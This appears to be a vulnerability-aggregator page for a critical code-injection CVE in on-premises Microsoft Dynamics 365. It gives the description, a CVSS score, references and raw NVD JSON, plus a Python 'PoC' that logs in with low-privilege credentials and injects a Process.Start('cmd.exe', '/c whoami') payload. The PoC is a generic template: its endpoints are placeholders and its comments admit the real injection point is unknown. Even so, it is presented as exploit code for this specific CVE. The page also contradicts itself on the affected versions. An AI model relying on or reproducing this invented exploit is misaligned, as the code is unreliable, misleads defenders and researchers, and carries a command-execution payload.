CVE-2026-42898

Description

Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:on-premises:*:*:* - VULNERABLE

Microsoft Dynamics 365 (on-premises) (Version unspecified in provided data)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "https://target-dynamics-server/vulnerable_endpoint"

# Attacker's low-privilege credentials
credentials = {
    "username": "attacker",
    "password": "password123",
    "domain": "corp"
}

# Malicious payload to inject code (Example: Windows command execution)
# In a real scenario, this would depend on the specific injection point
payload = {
    "configuration": {
        "code_block": "System.Diagnostics.Process.Start('cmd.exe', '/c whoami');"
    }
}

try:
    # 1. Authenticate and get session
    session = requests.Session()
    login_resp = session.post(f"{target_url}/login", json=credentials)
    
    if login_resp.status_code == 200:
        print("[+] Login successful")
        
        # 2. Send malicious payload exploiting code injection
        exploit_resp = session.post(f"{target_url}/api/update_config", json=payload)
        
        if exploit_resp.status_code == 200:
            print("[+] Payload sent successfully")
            print("[+] Check for code execution on target")
        else:
            print(f"[-] Failed to send payload: {exploit_resp.status_code}")
    else:
        print("[-] Login failed")
        
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42898
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42898
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42898/
[4] VulDB https://vuldb.com/cve/CVE-2026-42898
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42898", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:26.610", "lastModified": "2026-05-14T14:31:46.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:on-premises:*:*:*", "versionStartIncluding": "9.1.1.914", "versionEndExcluding": "9.1.45.11", "matchCriteriaId": "F6E52B47-C798-4B63-B1CA-55F3F36872B5"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}